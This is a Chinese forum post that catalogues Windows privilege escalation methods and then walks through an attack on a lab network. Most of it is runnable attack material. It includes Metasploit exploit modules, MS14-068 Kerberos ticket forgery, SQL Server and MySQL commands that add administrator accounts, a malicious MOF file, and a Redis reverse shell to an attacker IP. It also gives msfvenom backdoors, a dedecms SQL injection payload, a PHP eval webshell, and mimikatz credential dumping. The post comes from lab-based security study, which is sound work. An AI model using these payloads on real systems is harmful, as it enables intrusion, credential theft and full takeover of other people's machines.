首页
社区
课程
招聘
[原创]windows提权小结及靶场实践
发表于: 2021-7-22 16:31 2592

[原创]windows提权小结及靶场实践

2021-7-22 16:31
2592

一、概述

这次一起来小结下Windows常用提权方式,主要分为:漏洞提权、数据库提权、Windows特性提权、第三方软件提权等。由于小弟的能力还比较薄弱,文章尚有纰漏还请师傅海涵。

二、漏洞提权

测试环境均在win7 x64 sp1

2.1 补丁收集

当接收到会话后,可以使用msf自带的命令:
use post/multi/recon/local_exploit_suggester
set SESSION 10
run

 

同样也可以使用https://github.com/chroblert/WindowsVulnScan 搜索系统缺失的补丁:
先运行其ps脚本得到系统中所打的补丁号:

python.exe .\check.py -u创建CVEKB数据库后,接着python.exe .\check.py -C -f .\KB.json查看操作系统打的补丁,以及存在可进行漏洞利用的公开EXP漏洞。

2.2 CVE-2020-0787

漏洞背景:Background Intelligent Transfer Service(BITS)是其中的一个后台智能传输服务组件。BITS中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。
漏洞危害:影响windows全版本
exp下载地址:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION
漏洞验证:

2.3 CVE-2018-8120

漏洞背景:CVE-2018-8120是Windows操作系统Win32k的内核提权漏洞,Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。
漏洞危害:Windows 7 SP1/2008 SP2,2008 R2 SP1
exp下载地址:https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120
漏洞验证:
Msf集成了该漏洞的payload,当msf反弹会话后,执行下面命令
use exploit/windows/local/ms18_8120_win32k_privesc
set SESSION 10
exploit

因为是利用内核提权,可见返回的直接是system权限的会话。

2.4 CVE-2019-0803

漏洞背景:Win32k 组件无法正确处理内存中的对象时,可导致特权提升。成功利用此漏洞的攻击者可以在内核模式中运行任意代码、安装任意程序、查看、更改或删除数据、或者创建拥有完全用户权限的新帐户。
漏洞危害:Windows 7/8/10/2008/2012/2016
exp下载地址:https://github.com/ExpLife0011/CVE-2019-0803
漏洞验证:

2.5 MS16-075(烂土豆)

漏洞背景:Windows SMB 服务器特权提升漏洞,当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
漏洞危害:windows 2003/2008/7/8/2012
exp下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
漏洞验证:
当msf反弹会话后,执行下面命令,使用烂土豆提权,一次不行用多次
use exploit/windows/local/ms16_075_reflection_juicy
set session 10
exploit

后续可以用令牌窃取或者getsystem命令获取到system权限:

2.6 MS14-068(域内提权)

漏洞背景:MS14-068 这个漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
攻击者要利用 MS14-068 这个漏洞提权时,需要掌握下面几个信息:
•域内任意用户SID
•域内任意用户密码
漏洞危害:windows 2003/2008/2012/7/8
exp下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
漏洞验证:
先用whoami /user查看当前用户sid

Kerberos::purge或klist purge先清空当前机器中的所有凭证:

利用MS14-068生成相应凭证:
MS14-068.exe -u c@test.com -s S-1-5-21-2273191065-1635484360-3888421177-1105 -d 192.168.202.148 -p c@zxcvbnm123

使用mimikatz将票据注入内存:
Kerberos::ptc “TGT_c@test.com.ccache”


后续利用:

三、数据库提权

3.1 Sql Server

Xp_cmdshell提权

Xp_cmdshell扩展时可以执行系统命令的,而sql server默认就是system权限,这是我们能利用其提权的原因。默认 sa支持外连。
判断权限是不是sa
select is_srvrolemember('sysadmin')
判断xp_cmdshell扩展存储是否存在
select count() from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'
判断xp_regread扩展存储过程是否存在
select count(
) from master.dbo.sysobjects where name='xp_regread'
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
提权
exec master..xp_cmdshell 'net user test qwea123. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组

sp_oacreate提权

1
sp_oacreate提权主要调用了OLE对象的run方法执行了系统命令。Mssql之后的版本先要开启。

开启
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1; reconfigure;
关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
执行命令
declare @shell int
exec sp_oacreate 'wscript.shell', @shell output
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe /c "net user test qwea123. /add" '

沙盒提权:

exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user test3 qwea123. /add")')

3.2 Mysql

UDF提权

udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,其提权原理,利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,可以通过以下几种方法得到root密码:
1、 读取网站数据库配置文件
2、 读取数据库存储或备份文件
3、 暴力破解,root默认不支持外连就要上传脚本到服务器爆破
使用UDF提权先要知道MySql对应的版本:select version()
Mysql < 5.1 导出目录 c:/windows或system32
Mysql => 5.1 导出目录/lib/plugin/
目录可以手工创建,也可以使用NTFS流创建:select ‘x’ into dumpfile ‘数据库目录/lib/plugin::INDEX_ALLLOCATION‘
查看数据库安装目录:Select @@basedir
查看MySQL版本:select version();
查看MySQL的插件目录:select @@plugin_dir;
创建lib目录:select 'it is dll' into dumpfile 'c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION';
创建plugin目录:select 'it is dll' into dumpfile 'c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION';
创建udf.dll select unhex('hex_of_udf.dll') into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";
php文件已集成了相关导出功能,点击导出即可:


创建函数:create function sys_eval returns string soname 'udf.dll';

执行shell命令:select sys_eval('net user');

MOF提权

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。MOF提权的原理就是当拥有mysql的root权限了以后,然后使用sql语句将系统当中默认的nullevt.mof给替换掉,进而让系统执行我们这个恶意的mof文件。
替换的sql语句:select load_file('D:\wamp\my.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代码如下所示:

 

#pragma namespace("\\.\root\subscription")

 

instance of EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From
InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

 

有可能权限不够文件写入c:/windows/system32/目录失败,或者被防护软件拦截等情况出现。

启动项提权

导出自定义可执行文件到启动目录配合重启执行
先执行sql语句开启root外连:
GRANT ALL PRIVILEGES ON . TO root@"%" IDENTIFIED BY "root";
flush privileges;
Msf使用内置的windows/mysql/mysql_start_sql模块,连接数据库,把后门写入服务器启动项:
use exploit/windows/mysql/mysql_start_up
set rhosts 192.168.202.1
set username root
set password root
注意:mysql5.7导出数据提示--secure-file-priv选项问题,查看 secure_file_priv 的值,默认为NULL,表示限制不能导入导出,而secure_file_priv 参数是只读参数,不能使用set global命令修改。所以我们需要打开my.cnf 或 my.ini,加入以下语句后重启mysql。
secure_file_priv=''
没有值时,表示不限制mysqld在任意目录的导入导出。

3.3 Redis

未授权访问漏洞

Redis未授权访问是由于自身配置不当所造成的,没有配置指定ip登录远程登录密码为空等,可以通过绑定数据库访问的ip、设置数据库访问的密码、修改数据库服务运行账户的权限修补。

 

其漏洞利用方法也有好几种,可以利用计划任务来反弹一个shell:
先在自己的服务器上监听一个端口:
nc -lvnp 7999

 

利用计划任务执行命令反弹shell,依次执行以下命令反弹得到系统权限:
redis-cli -h 192.168.63.130
set x "\n * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
再用crontab -l 查看root用户下的crontab任务。

 

同样可以通过通过漏洞写入文件,当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell:
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

四、Windows特性

4.1 AT提权

这个特性只在windows server 2003、windows xp有效(有点古老了),在系统cmd窗口输入at 12:00 /interactive cmd.exe新建计划任务,到特点时间点系统以system身份自动执行该任务。

4.2 进程注入提权

这个特性只在windows server 2003、windows xp有效(同样有点古老了),利用的是注入进程的所有者权限共享机制。使用pinjector.exe -l 查看可注入的进程,再执行pinjector.exe -p 注入PID cmd 监听端口号,在kali执行nc监听即可。

4.3 SC提权

这个特性只在windows server 2003、windows xp有效,win7需要管理员权限才能添加作业(约等于没用)。
sc Create systemcmd binPath= "cmd /K start" type= own type= interact

Sc start systemcmd

4.4 PsExec提权

此特性在win7、windows server 2003、2008有效
PsExec.exe /accepteula /s \127.0.0.1 cmd /c "whoami"

4.5令牌窃取

令牌窃取可以在windows server 2008\2003、windows 7\xp运行。令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。当用户登录时,系统通过将用户密码与安全数据库中存储的信息进行比较来验证用户密码。如果密码通过身份验证,则系统将生成访问令牌。该用户执行的每个进程都有此访问令牌的副本。
Windows的令牌有两种:
1、Delegation token(授权令牌):用于交互会话登录,例如远程桌面
2、Impersonation token(模拟令牌):用于非交互登录,例如dir远程主机的文c$
攻击者必须已经在特权用户上下文(即管理员)中才能窃取令牌,也就是说需要bypassuac。攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则可以使用令牌作为该令牌的帐户向远程系统进行身份验证。
窃取令牌背后实现是分以下几步:
1、我们需要是管理员,如果不是,可以使用 bypassuac、烂土豆等技术进行提权。
2、复制访问令牌的进程需要启用 SeDebugPrivilege 权限。
3、使用 OpenProcess 函数获取具有 SYSTEM 权限的进程句柄。
4、使用 OpenProcessToken 函数获取该进程的令牌句柄。
5、使用 DuplicateTokenEx 函数对令牌进程复制。
6、通过 CreateProcessWithToken 函数用复制的令牌创建新的进程,该进程成为拥有 SYSTEM 权限的进程。

 

下面具体操作:
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.202.131 lport=22222 -f exe -o h4.exe //生成exe
use exploit/multi/handler //建立监听
set payload windows/meterpreter/reverse_http
set lport 22222
set lhost 192.168.202.131

 

use incognito
list_tokens -u 获取用户Token
上面为交互登录Token,可见没有bypassuac的情况下是没有system的,下面为非交互登录会话Token

use exploit/windows/local/bypassuac
set session 5

impersonate_token “NT AUTHORITY\SYSTEM” 进行令牌假冒

4.6不带引号的服务路径

当windows服务中的路径没有被引号包含,则操作系统会执行空格分割后服务路径的前一部分。所以我们可以构造并上传路径名称的文件,然后重启服务,达到提权母的。
先输入命令检测不带引号的服务路径:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """

可见第一个是没有空格,没有问题,mytest3则有问题。
我们在c盘下,新建文件,并新建cmd窗口执行C:\Program Files\cmd.exe,则执行到Program.exe文件

4.7不安全的服务权限

由于服务配置管理的错误,用户对服务拥有过多的权限,有可能直接修改服务中的执行文件。可使用accesschk.exe查找特定用户可修改的服务:
accesschk.exe -uwcqv “qqqq” *

使用sc指令修改并重启服务
sc config “mytest” binpath= “C:\ccc.exe”
sc start “mytest”

4.8 Dll劫持

Lpk提权就是Dll劫持的一种,主要原理就是利用所执行的exe程序优先加载同目录下的dll,且没有对其加载的dll进行验证,具体演示在之前钓鱼文章中:
攻击者需要dll劫持提权满足以下三个点:
1、系统中存在dll劫持的exe程序
2、当前权限能替换exe程序同目录中的dll文件
3、管理员权限去执行该exe程序

4.9 PrintSpoofer提权

使用PrintSpoofer工具提权的原理是,当我们具有了SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权时,可以通过上述这两个特权,在其他用户的上下文中运行代码,甚至创建新的进程,那就意味着能具有SYSTEM权限:

 

上图是当getshell后,whoami \all查看当前拥有了SeImpersonatePrivilege的特权,我们就可以调用CreateProcessWithToken(),使其创建新进程并拥有SYSTEM权限,而PrintSpoofer就是这样的一款开源工具,如下图所示:

或者当前拥有SeAssignPrimaryTokenPrivilege特权时,就可以调用CreateProcessAsUser(),也同样有上述效果。

4.10 GPP组策略首选项

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。所有域组策略都存储在这里:\ <DOMAIN>\SYSVOL\<DOMAIN>\Policies\,SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享。
每台Windows主机有一个内置的Administrator账户以及相关联的密码。输入gpmc.msc打开组策略管理,然后新建组策略对象:

将域中本地计算机的用户名重命名,并重新设置密码:

 

访问:\test.com\SYSVOL\test.com\Policies{FF11D485-D5DA-48BC-9F6E-790B3A55D3B2}\Machine\Preferences\Groups\Groups.xml
当创建新的GPP时,在SYSVOL中创建了一个与相关配置数据相关联的XML文件,如果提供了密码,那么AES-256位加密应该足够强的。

五、第三方软件提权

5.1 Teamview

CVE-2019-18988 TeamViewer特权提升漏洞分析

通过14.7.1965的TeamViewer Desktop,可以绕过远程登录访问控制,因为同一密钥用于不同客户的安装。至少从v7.0.43148起,它就在所有安装中都使用了共享的AES密钥,并且在该产品的当前版本中至少将其用于OptionsPasswordAES。如果攻击者知道此密钥,则他们可以解密存储在TeamViewer注册表或配置文件中的保护信息。在v9.x之前的版本中,这使攻击者可以解密系统的无人参与访问密码(这允许远程登录系统以及浏览无头文件)。最新版本的OptionPasswordAES仍使用相同的密钥,但似乎已更改了无人参与访问密码的存储方式。
以下两个链接师傅复现和分析得很详细(膜:
https://hackergu.com/cve-2019-18988-teamviewer-decryptteamviewer/
https://www.4hou.com/posts/L5KX

CVE-2020-13699

TeamViewer存在未引用的搜索路径或元素的安全缺陷,更具体地说,这是由于应用程序没有正确引用它的自定义URI处理程序,当安装了TeamViewer的易受攻击版本的系统访问恶意创建的网站时,可能会被利用。
攻击者可以使用精心制作的URL(iframesrc='teamviewer10:--play\attacker-IP\share\fake.tvs')将恶意iframe嵌入网站中,这将启动TeamViewerWindows桌面客户端并强制其执行以下操作:打开远程SMB共享。Windows在打开SMB共享时将执行NTLM身份验证,并且可以将请求进行转发(使用诸如响应程序之类的工具)以执行代码(或捕获以进行哈希破解)。

5.2 FileZilla

FileZilla 是一个ftp服务器,启动时默认时SYSTEM权限,假如相关目录权限配置不严,可以在xml文件中读取到server的密码,得到密码后登录server再对setch.exe进行替换,从而实现shift粘滞键后门.

七、靶场实践

下面我们靶场的拓扑图:

7.1子域名收集

我们可以通过主域名发test123.com收集更多的域名,从而获得更多的目标。子域名收集的工具很多layer、subDomainBrute,这里使用kali自带的wfuzz收集子域名,以下为开源地址https://github.com/xmendez/wfuzz
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u www.test123.com -H "Host:FUZZ.test123.com" --hw 53
-H 指定UserAgent,FUZZ的位置在host里,原因是 Host 请求头决定访问哪个虚拟主机
--hw以指定的返字数作为判断条件隐藏返回结果

得到以下三个域名:
www.test123.com
net.test123.com
cms.test123.com
然后通过nslookup查询域名对应的ip(没cdn的情况下):
Nslookup www.test123.com

7.2主机发现

先进行主机发现,方法有许多,分别是基于层面和工具上的不同:
1、使用netdiscover
sudo netdiscover -i eth0 -r 192.168.202.0/24
专用的二层发现工具。拥有主动和被动发现两种方式。
常用参数:
-i:网卡 选择你监控的网卡。比如eth0
-r:range 指定IP段。比如192.168.0.0/24
-l:filename 从文件读取range列表
-p 被动模式。默默的侦听指定的网卡以发现别的二层主机
-t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
-c 发包数量
2、使用nmap
nmap -v -sP 192.168.202.0/24
以上参数:
-sP、ICMP扫描: 类似于ping检测,快速判断目标主机是否存活,不做其他扫描

3、使用系统自带ping(速度稍慢)
for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=”
fping -g 10.10.10.0/24

7.3端口扫描

对所发现的主机进行端口扫描,同样也有不同工具来进行端口扫描:
nmap -sS -p 1-65535 -v 192.168.202.182
以上参数:
-P 指定端口扫描
-V 详细信息
-sS、TCP SYN扫描(半开扫描): 只向目标发出SYN数据包,如果收到SYN/ACK响应包就认为目标端口正在监听,并立即断开连接;否则认为目标端口并未开放。
-sT、TCP 连接扫描: 这是完整的TCP扫描方式,用来建立一个TCP连接,如果成功则认为目标端口正在监听服务,否则认为目标端口并未开放。
-sF、TCP FIN扫描: 开放的端口会忽略这种数据包,关闭的端口会回应RST数据包。许多防火墙只对SYN数据包进行简单过滤,而忽略了其他形式的TCP攻击包。这种类型的扫描可间接检测防火墙的健壮性。
-sU、UDP扫描: 探测目标主机提供哪些UDP服务,UDP扫描的速度会比较慢。

sudo masscan -p 1-65535 192.168.202.182--rate=1000
常用参数:
-p <ports,--ports <ports>> 指定端口进行扫描
--banners 获取banner信息,支持少量的协议
--rate <packets-per-second> 指定发包的速率,默认的速率是100包/秒

 

识别对应的端口
nmap -sC -A 192.168.202.182 -p 80,53,49154,6588,3389,135,21,51464,999
-sC: 等价于–script=default,使用默认类别的脚本进行扫描 可更换其他类别
-A 综合扫描,包含1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测

可见有3个http服务的端口打开,web服务器为IIS7.5,分别对其进行访问:


7.4 web漏洞测试

第一个域名:cms.test123.com,很明显是dedecms,
http://cms.test123.com/data/admin/ver.txt 先确定版本号:

再确定是否能注册,并查找该版本存在相关注入漏洞(相关漏洞原理后面会再详写),进行漏洞利用得到管理员密码hash:

 

该漏洞是由于由于dedecms使用伪全局变量原因,可导致用户构造任意的sql语句,造成注入。
相关payload使用时间盲注查询amdin密码:s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20'.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"

详细漏洞分析可参考:Dedecms 20150618 注入 · Manning23
密码破解得admin7788,然后登上后台,上传一句话并连接:


可见一句话木马权限不够,传上asp大马,再执行相关命令:

使用msf工具集生成相关后门,msfvenom -p windows/meterpreter/reverse_http lhost=192.168.202.180 lport=33444 -f exe -o h33444.exe,并设置监听:

先用asp扫描可执行的相关目录,然后上传msf后门到相应目录:



使用msf自带的post/multi/recon/local_exploit_suggester模块进行漏洞查找,然后利用ms_075进行提权use exploit/windows/local/ms16_075_reflection_juicy

继续进行基本的信息收集,ipconfig:

执行run get_local_subnets,存在两个网段:

run autoroute -s 10.10.10.0/24
run autoroute -d -s 10.10.10.0/24 //删除网段
route add 内网ip 子网掩码 session的id
route print 查看设置后的网段

执行run post/windows/gather/smart_hashdump命令获得系统内用户的hash值,以便用于hash传递:

Migrate 迁移进程后,Load kiwi加载mimiatz,kiwi_cmd sekurlsa::logonpasswords尝试使用其获取明文:

7.5内网横移

启动socks代理,sudo vim /etc/proxychains.conf 修改proxychains配置文件,对10.10.10.0\24进行主机发现:
use auxiliary/server/socks_proxy
set srvport 22222
run


proxychains fping -g 10.10.10.0/24

对所发现的IP进行端口扫描:proxychains nmap -sC -A 10.10.10.143 -p 80,53,1433,49154,6588,3389,135,21,51464,999

对所发现的主机进行ipc连接,报错1326用户名或密码错误:
net use \10.10.10.139\ipc$ "!@#Qwe123." /user:"localhost\administrator”


翻看net.test123.com网站的目录可以找到其数据库的用户和密码:

10.10.10.143开启了1433端口,有mssql服务,可以使用上述密码登录服务器,也可以对net.test123.com进行子目录爆破,得到后台路径:http://net.test123.com/admin/index,再对后台进行相应挖掘:

显然后台登录表单username存在注入:

我们可以先进行相关判断,再通过其添加系统用户:
判断是不是dba权限(延时后返回正确页面,确定为dba权限<也可用sqlmap的–is-dba判断>)
admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';--
判断是否是站库分离(延时后返回正确页面,确定站库没有分离)
admin';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--
查看是否有xp_cmdshell:
admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'
先开启xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
添加用户test,并添加test用户到管理员组
exec master..xp_cmdshell 'net user test 123. /add'
exec master..xp_cmdshell 'net localgroup administrators test add'

也可以通过注入用sqlmap进行getshell:

爆出相关库:sqlmap -r post --dbms mssql -v 1 --dbs --batch

Msf生成bind.exe正向后门:
msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe -o hb.exe
用aspx文件上传bind.exe,并调用exec执行:


Msf执行相应命令进行连接:
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.143
set lport 13777

同样Migrate 迁移进程后,Load kiwi加载mimiatz,kiwi_cmd sekurlsa::logonpasswords尝试使用其获取明文:

添加路由:run autoroute -s 10.10.1.0/24

启动socks代理,配置proxychains配置文件,对10.10.1.0\24进行主机发现:
use auxiliary/server/socks_proxy
set srvport 33333
run

得到明文和hash后我们可以通过ipc连接进行横向:
net use \10.10.1.142\ipc$ "!@#QWEasd123." /user:"localhost\administrator”

使用代理proxychains nmap -sC -A 10.10.1.142 -p 80,53,1433,49154,6588,3389,135,21,51464,999进行扫描端口:

浏览器设置socks代理后,查看10.10.1.142网站主页,发现其phpstudy版本存在后门可以进行利用:

Phpstudy漏洞利用:
'echo ^<?php @eval($_POST["shell"])?^>>C:\phpStudy\WWW\shell.php'
蚁剑设置socks代理为kali的33333端口,进行连接:

蚁剑执行msf的bind后门,msf进行正向连接:

三台机子的权限均到手。

 

参考:
https://www.moonsec.com/
https://www.cnblogs.com/backlion/p/6927322.html
内网安全攻防


[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 310
活跃值: (2227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark
2021-7-22 17:16
0
雪    币: 452
活跃值: (6128)
能力值: ( LV12,RANK:580 )
在线值:
发帖
回帖
粉丝
3
mark  感谢分享!
2021-7-22 22:07
0
雪    币: 9560
活跃值: (2391)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark
2021-7-27 14:25
0
雪    币: 14
活跃值: (449)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
鸡哥  yyds 我是你的脑残粉
2021-8-6 20:49
0
游客
登录 | 注册 方可回帖
返回
//